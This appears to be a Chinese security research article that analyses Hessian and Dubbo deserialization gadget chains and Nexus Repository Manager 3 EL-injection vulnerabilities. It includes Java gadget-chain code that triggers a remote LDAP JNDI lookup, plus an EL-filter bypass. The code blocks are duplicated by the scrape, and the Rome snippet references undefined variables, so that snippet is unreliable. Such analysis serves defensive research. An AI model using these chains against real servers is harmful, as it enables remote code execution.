注意这里的几个判断，如果是Map接口类型则使用HashMap，如果是SortedMap类型则使用TreeMap，其他Map则会调用对应的默认构造器，本例中由于是Map接口类型，使用的是HashMap。接下来经典的场景就来了，先使用in.readObject()（这个过程和之前的类似，就不重复了）恢复了序列化数据中Map的key，value对象，接着调用了map.put(key,value)，这里是HashMap，在HashMap的put方法会调用hash(key)触发key对象的key.hashCode()方法，在put方法中还会调用putVal，putVal又会调用key对象的key.equals(obj)方法。处理完所有key，value后，返回到UnsafeDeserializer$ObjectFieldDeserializer中：

使用native方法_unsafe.putObject完成对象的innerMap属性赋值。

Hessian的几条利用链分析

在marshalsec工具中，提供了对于Hessian反序列化可利用的几条链：

Rome
XBean
Resin
SpringPartiallyComparableAdvisorHolder
SpringAbstractBeanFactoryPointcutAdvisor

下面分析其中的两条Rome和SpringPartiallyComparableAdvisorHolder，Rome是通过HashMap.put->key.hashCode触发，SpringPartiallyComparableAdvisorHolder是通过HashMap.put->key.equals触发。其他几个也是类似的，要么利用hashCode、要么利用equals。

SpringPartiallyComparableAdvisorHolder

在marshalsec中有所有对应的Gadget Test，很方便：

这里将Hessian对SpringPartiallyComparableAdvisorHolder这条利用链提取出来看得比较清晰些：

String jndiUrl = "ldap://localhost:1389/obj";
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);

//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用，会触发调用SimpleJndiBeanFactory.getType-&gt;SimpleJndiBeanFactory.doGetType-&gt;SimpleJndiBeanFactory.doGetSingleton-&gt;SimpleJndiBeanFactory.lookup-&gt;JndiTemplate.lookup
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//反序列化时AspectJAroundAdvice.getOrder会被调用，会触发BeanFactoryAspectInstanceFactory.getOrder
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", jndiUrl);

//反序列化时AspectJPointcutAdvisor.getOrder会被调用，会触发AspectJAroundAdvice.getOrder
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//反序列化时PartiallyComparableAdvisorHolder.toString会被调用，会触发AspectJPointcutAdvisor.getOrder
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);

//反序列化时Xstring.equals会被调用，会触发PartiallyComparableAdvisorHolder.toString
Class&lt;?&gt; pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);

//反序列化时HotSwappableTargetSource.equals会被调用，触发Xstring.equals
HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));

//反序列化时HashMap.putVal会被调用，触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值，直接put会在本地触发利用链，所以使用marshalsec使用了比较特殊的处理方式。

String jndiUrl = "ldap://localhost:1389/obj";

SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();

bf.setShareableResources(jndiUrl);

//反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用，会触发调用SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup

Reflections.setFieldValue(bf, "logger", new NoOpLog());

Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

//反序列化时AspectJAroundAdvice.getOrder会被调用，会触发BeanFactoryAspectInstanceFactory.getOrder

AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);

Reflections.setFieldValue(aif, "beanFactory", bf);

Reflections.setFieldValue(aif, "name", jndiUrl);

//反序列化时AspectJPointcutAdvisor.getOrder会被调用，会触发AspectJAroundAdvice.getOrder

AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);

Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

//反序列化时PartiallyComparableAdvisorHolder.toString会被调用，会触发AspectJPointcutAdvisor.getOrder

AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);

Reflections.setFieldValue(advisor, "advice", advice);

//反序列化时Xstring.equals会被调用，会触发PartiallyComparableAdvisorHolder.toString

Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");

Object pcah = Reflections.createWithoutConstructor(pcahCl);

Reflections.setFieldValue(pcah, "advisor", advisor);

//反序列化时HotSwappableTargetSource.equals会被调用，触发Xstring.equals

HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);

HotSwappableTargetSource v2 = new HotSwappableTargetSource(Xstring("xxx"));

//反序列化时HashMap.putVal会被调用，触发HotSwappableTargetSource.equals。这里没有直接使用HashMap.put设置值，直接put会在本地触发利用链，所以使用marshalsec使用了比较特殊的处理方式。

HashMap&lt;Object, Object&gt; s = new HashMap&lt;&gt;();
Reflections.setFieldValue(s, "size", 2);
Class&lt;?&gt; nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor&lt;?&gt; nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

HashMap<Object, Object> s = new HashMap<>();

Reflections.setFieldValue(s, "size", 2);

Class<?> nodeC;

try {

nodeC = Class.forName("java.util.HashMap$Node");

}

catch ( ClassNotFoundException e ) {

nodeC = Class.forName("java.util.HashMap$Entry");

}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);

Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

Reflections.setFieldValue(s, "table", tbl);

看以下触发流程：

经过HessianInput.readObject()，到了MapDeserializer.readMap(in)进行处理Map类型属性，这里触发了HashMap.put(key,value)：

HashMap.put有调用了HashMap.putVal方法，第二次put时会触发key.equals(k)方法：

此时key与k分别如下，都是HotSwappableTargetSource对象：

进入HotSwappableTargetSource.equals：

在HotSwappableTargetSource.equals中又触发了各自target.equals方法，也就是XString.equals(PartiallyComparableAdvisorHolder)：

在这里触发了PartiallyComparableAdvisorHolder.toString：

发了AspectJPointcutAdvisor.getOrder：

触发了AspectJAroundAdvice.getOrder：

这里又触发了BeanFactoryAspectInstanceFactory.getOrder：

又触发了SimpleJndiBeanFactory.getTYpe->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup->Context.lookup：

Rome

Rome相对来说触发过程简单些：

同样将利用链提取出来：

//反序列化时ToStringBean.toString()会被调用，触发JdbcRowSetImpl.getDatabaseMetaData-&gt;JdbcRowSetImpl.connect-&gt;Context.lookup
String jndiUrl = "ldap://localhost:1389/obj";
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");

//反序列化时EqualsBean.beanHashCode会被调用，触发ToStringBean.toString
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);

//反序列化时HashMap.hash会被调用，触发EqualsBean.hashCode-&gt;EqualsBean.beanHashCode
EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put-&gt;HashMap.putVal-&gt;HashMap.hash
HashMap&lt;Object, Object&gt; s = new HashMap&lt;&gt;();
Reflections.setFieldValue(s, "size", 2);
Class&lt;?&gt; nodeC;
try {
    nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
    nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor&lt;?&gt; nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);

//反序列化时ToStringBean.toString()会被调用，触发JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup

String jndiUrl = "ldap://localhost:1389/obj";

JdbcRowSetImpl rs = new JdbcRowSetImpl();

rs.setDataSourceName(jndiUrl);

rs.setMatchColumn("foo");

//反序列化时EqualsBean.beanHashCode会被调用，触发ToStringBean.toString

ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj);

//反序列化时HashMap.hash会被调用，触发EqualsBean.hashCode->EqualsBean.beanHashCode

EqualsBean root = new EqualsBean(ToStringBean.class, item);

//HashMap.put->HashMap.putVal->HashMap.hash

HashMap<Object, Object> s = new HashMap<>();

Reflections.setFieldValue(s, "size", 2);

Class<?> nodeC;

try {

nodeC = Class.forName("java.util.HashMap$Node");

}

catch ( ClassNotFoundException e ) {

nodeC = Class.forName("java.util.HashMap$Entry");

}

Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);

nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);

Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

Reflections.setFieldValue(s, "table", tbl);

看下触发过程：

经过HessianInput.readObject()，到了MapDeserializer.readMap(in)进行处理Map类型属性，这里触发了HashMap.put(key,value)：

接着调用了hash方法，其中调用了key.hashCode方法：

接着触发了EqualsBean.hashCode->EqualsBean.beanHashCode：

触发了ToStringBean.toString：

这里调用了JdbcRowSetImpl.getDatabaseMetadata，其中又触发了JdbcRowSetImpl.connect->context.lookup：

小结

通过以上两条链可以看出，在Hessian反序列化中基本都是利用了反序列化处理Map类型时，会触发调用Map.put->Map.putVal->key.hashCode/key.equals->...，后面的一系列出发过程，也都与多态特性有关，有的类属性是Object类型，可以设置为任意类，而在hashCode、equals方法又恰好调用了属性的某些方法进行后续的一系列触发。所以要挖掘这样的利用链，可以直接找有hashCode、equals以及readResolve方法的类，然后人进行判断与构造，不过这个工作量应该很大；或者使用一些利用链挖掘工具，根据需要编写规则进行扫描。

Apache Dubbo反序列化简单分析

Apache Dubbo Http反序列化

先简单看下之前说到的HTTP问题吧，直接用官方提供的samples，其中有一个dubbo-samples-http可以直接拿来用，直接在DemoServiceImpl.sayHello方法中打上断点，在RemoteInvocationSerializingExporter.doReadRemoteInvocation中反序列化了数据，使用的是Java Serialization方式：

抓包看下，很明显的ac ed标志：

Apache Dubbo Dubbo反序列化

同样使用官方提供的dubbo-samples-basic，默认Dubbo hessian2协议，Dubbo对hessian2进行了魔改，不过大体结构还是差不多，在MapDeserializer.readMap是依然与Hessian类似：

参考

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1131/

作者：叶霖杨 | Categories:安全研究、技术分享 | Tags: web安全、反序列化

没有评论

Nexus Repository Manager 3 几次表达式解析漏洞

2020-07-31

作者：Longofo@知道创宇404实验室
时间：2020年4月8日

Nexus Repository Manager 3最近曝出两个el表达式解析漏洞，编号为CVE-2020-10199，CVE-2020-10204，都是由Github Secutiry Lab团队的@pwntester发现。由于之前Nexus3的漏洞没有去跟踪，所以当时diff得很头疼，并且Nexus3 bug与安全修复都是混在一起，更不容易猜到哪个可能是漏洞位置了。后面与@r00t4dm师傅一起复现出了CVE-2020-10204，CVE-2020-10204是CVE-2018-16621的绕过，之后又有师傅弄出了CVE-2020-10199，这三个漏洞的根源是一样的，其实并不止这三处，官方可能已经修复了好几处这样的漏洞，由于历史不太好追溯回去，所以加了可能，通过后面的分析，就能看到了。还有之前的CVE-2019-7238，这是一个jexl表达式解析，一并在这里分析下，以及对它的修复问题，之前看到有的分析文章说这个漏洞是加了个权限来修复，可能那时是真的只加了个权限吧，不过我测试用的较新的版本，加了权限貌似也没用，在Nexus3高版本已经使用了jexl白名单的沙箱。

测试环境

文中会用到三个Nexus3环境：

nexus-3.14.0-04
nexus-3.21.1-01
nexus-3.21.2-03

nexus-3.14.0-04用于测试jexl表达式解析，nexus-3.21.1-01用于测试jexl表达式解析与el表达式解析以及diff，nexus-3.21.2-03用于测试el表达式解析以及diff

漏洞diff

CVE-2020-10199、CVE-2020-10204漏洞的修复界限是3.21.1与3.21.2，但是github开源的代码分支好像不对应，所以只得去下载压缩包来对比了。在官方下载了nexus-3.21.1-01与nexus-3.21.2-03，但是beyond对比需要目录名一样，文件名一样，而不同版本的代码有的文件与文件名都不一样。我是先分别反编译了对应目录下的所有jar包，然后用脚本将nexus-3.21.1-01中所有的文件与文件名中含有3.21.1-01的替换为了3.21.2-03，同时删除了META文件夹，这个文件夹对漏洞diff没什么用并且影响diff分析，所以都删除了，下面是处理后的效果：

如果没有调试和熟悉之前的Nexus3漏洞，直接去看diff可能会看得很头疼，没有目标的diff。

路由以及对应的处理类

一般路由

抓下nexus3发的包，随意的点点点，可以看到大多数请求都是POST类型的，URI都是/service/extdirect：

post内容如下：

{"action":"coreui_Repository","method":"getBrowseableFormats","data":null,"type":"rpc","tid":7}

1	{"action":"coreui_Repository","method":"getBrowseableFormats","data":null,"type":"rpc","tid":7}

可以看下其他请求，json中都有action与method这两个key，在代码中搜索下coreui_Repository这个关键字：

可以看到这样的地方，展开看下代码：

通过注解方式注入了action，上面post的method->getBrowseableFormats也在中，通过注解注入了对应的method：

所以之后这样的请求，我们就很好定位路由与对应的处理类了

API路由

Nexus3的API也出现了漏洞，来看下怎么定位API的路由，在后台能看到Nexus3提供的所有API。

点几个看下包，有GET、POST、DELETE、PUT等类型的请求：

没有了之前的action与method，这里用URI来定位，直接搜索/service/rest/beta/security/content-selectors定位不到，所以缩短关键字，用/beta/security/content-selectors来定位：

通过@Path注解来注入URI，对应的处理方式也使用了对应的@GET、@POST来注解

可能还有其他类型的路由，不过也可以使用上面类似的方式进行搜索来定位。还有Nexus的权限问题，可以看到上面有的请求通过@RequiresPermissions来设置了权限，不过还是以实际的测试权限为准，有的在到达之前也进行了权限校验，有的操作虽然在web页面的admin页面，不过本不需要admin权限，可能无权限或者只需要普通权限。

buildConstraintViolationWithTemplate造成的几次Java EL漏洞

在跟踪调试了CVE-2018-16621与CVE-2020-10204之后，感觉buildConstraintViolationWithTemplate这个keyword可以作为这个漏洞的根源，因为从调用栈可以看出这个函数的调用处于Nexus包与hibernate-validator包的分界，并且计算器的弹出也是在它之后进入hibernate-validator的处理流程，即buildConstraintViolationWithTemplate(xxx).addConstraintViolation()，最终在hibernate-validator包中的ElTermResolver中通过valueExpression.getValue(context)完成了表达式的执行，与@r00t4dm师傅也说到了这个：

于是反编译了Nexus3所有jar包，然后搜索这个关键词（使用的修复版本搜索，主要是看有没有遗漏的地方没修复；Nexue3有开源部分代码，也可以直接在源码搜索）：

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\com\sonatype\nexus\plugins\nexus-healthcheck-base\3.21.2-03\nexus-healthcheck-base-3.21.2-03\com\sonatype\nexus\clm\validator\ClmAuthenticationValidator.java:
   26           return this.validate(ClmAuthenticationType.valueOf(iqConnectionXo.getAuthenticationType(), ClmAuthenticationType.USER), iqConnectionXo.getUsername(), iqConnectionXo.getPassword(), context);
   27        } else {
   28:          context.buildConstraintViolationWithTemplate("unsupported annotated object " + value).addConstraintViolation();
   29           return false;
   30        }
   ..
   35        case 1:
   36           if (StringUtils.isBlank(username)) {
   37:             context.buildConstraintViolationWithTemplate("User Authentication method requires the username to be set.").addPropertyNode("username").addConstraintViolation();
   38           }
   39  
   40           if (StringUtils.isBlank(password)) {
   41:             context.buildConstraintViolationWithTemplate("User Authentication method requires the password to be set.").addPropertyNode("password").addConstraintViolation();
   42           }
   43  
   ..
   52           }
   53  
   54:          context.buildConstraintViolationWithTemplate("To proceed with PKI Authentication, clear the username and password fields. Otherwise, please select User Authentication.").addPropertyNode("authenticationType").addConstraintViolation();
   55           return false;
   56        default:
   57:          context.buildConstraintViolationWithTemplate("unsupported authentication type " + authenticationType).addConstraintViolation();
   58           return false;
   59        }




F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\constraintvalidators\hv\ScriptAssertValidator.java:
34        if (!validationResult &amp;&amp; !this.reportOn.isEmpty()) {
35           constraintValidatorContext.disableDefaultConstraintViolation();
36:          constraintValidatorContext.buildConstraintViolationWithTemplate(this.message).addPropertyNode(this.reportOn).addConstraintViolation();
37        }
38  




F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\engine\constraintvalidation\ConstraintValidatorContextImpl.java:
   55     }
   56  
   57:    public ConstraintViolationBuilder buildConstraintViolationWithTemplate(String messageTemplate) {
   58        return new ConstraintValidatorContextImpl.ConstraintViolationBuilderImpl(messageTemplate, this.getCopyOfBasePath());
   59     }




F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.0-02\nexus-cleanup-3.21.0-02\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:
18           } catch (RegexCriteriaValidator.InvalidExpressionException var4) {
19              context.disableDefaultConstraintViolation();
20:             context.buildConstraintViolationWithTemplate(var4.getMessage()).addConstraintViolation();
21              return false;
22           }




F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.2-03\nexus-cleanup-3.21.2-03\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:
   18           } catch (RegexCriteriaValidator.InvalidExpressionException var4) {
   19              context.disableDefaultConstraintViolation();
   20:             context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();
   21              return false;
   22           }




F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-scheduling\3.21.2-03\nexus-scheduling-3.21.2-03\org\sonatype\nexus\scheduling\constraints\CronExpressionValidator.java:
   29        } catch (IllegalArgumentException var4) {
   30           context.disableDefaultConstraintViolation();
   31:          context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();
   32           return false;
   33        }




F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\privilege\PrivilegesExistValidator.java:
   42           if (!privilegeId.matches("^[a-zA-Z0-9\\-]{1}[a-zA-Z0-9_\\-\\.]*$")) {
   43              context.disableDefaultConstraintViolation();
   44:             context.buildConstraintViolationWithTemplate("Invalid privilege id: " + this.getEscapeHelper().stripJavaEl(privilegeId) + ". " + "Only letters, digits, underscores(_), hyphens(-), and dots(.) are allowed and may not start with underscore or dot.").addConstraintViolation();
   45              return false;
   46           }
   ..
   55        } else {
   56           context.disableDefaultConstraintViolation();
   57:          context.buildConstraintViolationWithTemplate("Missing privileges: " + missing).addConstraintViolation();
   58           return false;
   59        }




F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RoleNotContainSelfValidator.java:
   49              if (this.containsRole(id, roleId, processedRoleIds)) {
   50                 context.disableDefaultConstraintViolation();
   51:                context.buildConstraintViolationWithTemplate(this.message).addConstraintViolation();
   52                 return false;
   53              }




F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RolesExistValidator.java:
   42        } else {
   43           context.disableDefaultConstraintViolation();
   44:          context.buildConstraintViolationWithTemplate("Missing roles: " + missing).addConstraintViolation();
   45           return false;
   46        }




F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-validation\3.21.2-03\nexus-validation-3.21.2-03\org\sonatype\nexus\validation\ConstraintViolationFactory.java:
   75        public boolean isValid(ConstraintViolationFactory.HelperBean bean, ConstraintValidatorContext context) {
   76           context.disableDefaultConstraintViolation();
   77:          ConstraintViolationBuilder builder = context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(bean.getMessage()));
   78           NodeBuilderCustomizableContext nodeBuilder = null;
   79           String[] var8;

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\com\sonatype\nexus\plugins\nexus-healthcheck-base\3.21.2-03\nexus-healthcheck-base-3.21.2-03\com\sonatype\nexus\clm\validator\ClmAuthenticationValidator.java:

26 return this.validate(ClmAuthenticationType.valueOf(iqConnectionXo.getAuthenticationType(), ClmAuthenticationType.USER), iqConnectionXo.getUsername(), iqConnectionXo.getPassword(), context);

27 } else {

28: context.buildConstraintViolationWithTemplate("unsupported annotated object " + value).addConstraintViolation();

29 return false;

30 }

35 case 1:

36 if (StringUtils.isBlank(username)) {

37: context.buildConstraintViolationWithTemplate("User Authentication method requires the username to be set.").addPropertyNode("username").addConstraintViolation();

38 }

40 if (StringUtils.isBlank(password)) {

41: context.buildConstraintViolationWithTemplate("User Authentication method requires the password to be set.").addPropertyNode("password").addConstraintViolation();

42 }

52 }

54: context.buildConstraintViolationWithTemplate("To proceed with PKI Authentication, clear the username and password fields. Otherwise, please select User Authentication.").addPropertyNode("authenticationType").addConstraintViolation();

55 return false;

56 default:

57: context.buildConstraintViolationWithTemplate("unsupported authentication type " + authenticationType).addConstraintViolation();

58 return false;

59 }

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\constraintvalidators\hv\ScriptAssertValidator.java:

34 if (!validationResult && !this.reportOn.isEmpty()) {

35 constraintValidatorContext.disableDefaultConstraintViolation();

36: constraintValidatorContext.buildConstraintViolationWithTemplate(this.message).addPropertyNode(this.reportOn).addConstraintViolation();

37 }

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\hibernate\validator\hibernate-validator\6.1.0.Final\hibernate-validator-6.1.0.Final\org\hibernate\validator\internal\engine\constraintvalidation\ConstraintValidatorContextImpl.java:

55 }

57: public ConstraintViolationBuilder buildConstraintViolationWithTemplate(String messageTemplate) {

58 return new ConstraintValidatorContextImpl.ConstraintViolationBuilderImpl(messageTemplate, this.getCopyOfBasePath());

59 }

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.0-02\nexus-cleanup-3.21.0-02\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:

18 } catch (RegexCriteriaValidator.InvalidExpressionException var4) {

19 context.disableDefaultConstraintViolation();

20: context.buildConstraintViolationWithTemplate(var4.getMessage()).addConstraintViolation();

21 return false;

22 }

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.2-03\nexus-cleanup-3.21.2-03\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:

18 } catch (RegexCriteriaValidator.InvalidExpressionException var4) {

19 context.disableDefaultConstraintViolation();

20: context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();

21 return false;

22 }

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-scheduling\3.21.2-03\nexus-scheduling-3.21.2-03\org\sonatype\nexus\scheduling\constraints\CronExpressionValidator.java:

29 } catch (IllegalArgumentException var4) {

30 context.disableDefaultConstraintViolation();

31: context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();

32 return false;

33 }

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\privilege\PrivilegesExistValidator.java:

42 if (!privilegeId.matches("^[a-zA-Z0-9\\-]{1}[a-zA-Z0-9_\\-\\.]*$")) {

43 context.disableDefaultConstraintViolation();

44: context.buildConstraintViolationWithTemplate("Invalid privilege id: " + this.getEscapeHelper().stripJavaEl(privilegeId) + ". " + "Only letters, digits, underscores(_), hyphens(-), and dots(.) are allowed and may not start with underscore or dot.").addConstraintViolation();

45 return false;

46 }

55 } else {

56 context.disableDefaultConstraintViolation();

57: context.buildConstraintViolationWithTemplate("Missing privileges: " + missing).addConstraintViolation();

58 return false;

59 }

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RoleNotContainSelfValidator.java:

49 if (this.containsRole(id, roleId, processedRoleIds)) {

50 context.disableDefaultConstraintViolation();

51: context.buildConstraintViolationWithTemplate(this.message).addConstraintViolation();

52 return false;

53 }

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RolesExistValidator.java:

42 } else {

43 context.disableDefaultConstraintViolation();

44: context.buildConstraintViolationWithTemplate("Missing roles: " + missing).addConstraintViolation();

45 return false;

46 }

F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-validation\3.21.2-03\nexus-validation-3.21.2-03\org\sonatype\nexus\validation\ConstraintViolationFactory.java:

75 public boolean isValid(ConstraintViolationFactory.HelperBean bean, ConstraintValidatorContext context) {

76 context.disableDefaultConstraintViolation();

77: ConstraintViolationBuilder builder = context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(bean.getMessage()));

78 NodeBuilderCustomizableContext nodeBuilder = null;

79 String[] var8;

后面作者也发布了漏洞分析，确实用了buildConstraintViolationWithTemplate作为了漏洞的根源，利用这个关键点做的污点跟踪分析。

从上面的搜索结果中可以看到，el表达式导致的那三个CVE关键点也在其中，同时还有其他几个地方，有几个使用了this.getEscapeHelper().stripJavaEl做了清除，还有几个，看起来似乎也可以，心里一阵狂喜？然而，其他几个没有做清除的地方虽然能通过路由进入，但是利用不了，后面会挑选其中的一个做下分析。所以在开始说了官方可能修复了几个类似的地方，猜想有两种可能：

官方自己察觉到了那几个地方也会存在el解析漏洞，所以做了清除
有其他漏洞发现者提交了那几个做了清除的漏洞点，因为那几个地方可以利用；但是没清除的那几个地方由于没法利用，所以发现者并没有提交，官方也没有去做清除

不过感觉后一种可能性更大，毕竟官方不太可能有的地方做清除，有的地方不做清除，要做也是一起做清除工作。

CVE-2018-16621分析

这个漏洞对应上面的搜索结果是RolesExistValidator，既然搜索到了关键点，自己来手动逆向回溯下看能不能回溯到有路由处理的地方，这里用简单的搜索回溯下。

关键点在RolesExistValidator的isValid，调用了buildConstraintViolationWithTemplate。搜索下有没有调用RolesExistValidator的地方：

在RolesExist中有调用，这种写法一般会把RolesExist当作注解来使用，并且进行校验时会调用RolesExistValidator.isValid()。继续搜索RolesExist：

有好几处直接使用了RolesExist对roles属性进行注解，可以一个一个去回溯，不过按照Role这个关键字RoleXO可能性更大，所以先看这个（UserXO也可以的），继续搜索RoleXO：

会有很多其他干扰的，比如第一个红色标注RoleXOResponse，这种可以忽略，我们找直接使用RoleXO的地方。在RoleComponent中，看到第二个红色标注这种注解大概就知道，这里能进入路由了。第三个红色标注使用了roleXO，并且有roles关键字，上面RolesExist也是对roles进行注解的，所以这里猜测是对roleXO进行属性注入。有的地方反编译出来的代码不好理解，可以结合源码看：

可以看到这里就是将提交的参数注入给了roleXO，RoleComponent对应的路由如下：

通过上面的分析，我们大概知道了能进入到最终的RolesExistValidator，不过中间可能还有很多条件需要满足，需要构造payload然后一步一步测。这个路由对应的web页面位置如下：

测试（这里使用的3.21.1版本，CVE-2018-16621是之前的漏洞，在3.21.1早修复了，不过3.21.1又被绕过了，所以下面使用的是绕过的情况，将$换成$\\x去绕过，绕过在后面两个CVE再说）：

修复方式：

加上了getEscapeHelper().stripJavaEL对el表达式做了清除，将${替换为了{，之后的两个CVE就是对这个修复方式的绕过：

CVE-2020-10204分析

这就是上面说到的对之前stripJavaEL修复的绕过，这里就不细分析了，利用$\\x格式就不会被替换掉（使用3.21.1版本测试）：

CVE-2020-10199分析

这个漏洞对应上面搜索结果是ConstraintViolationFactory：

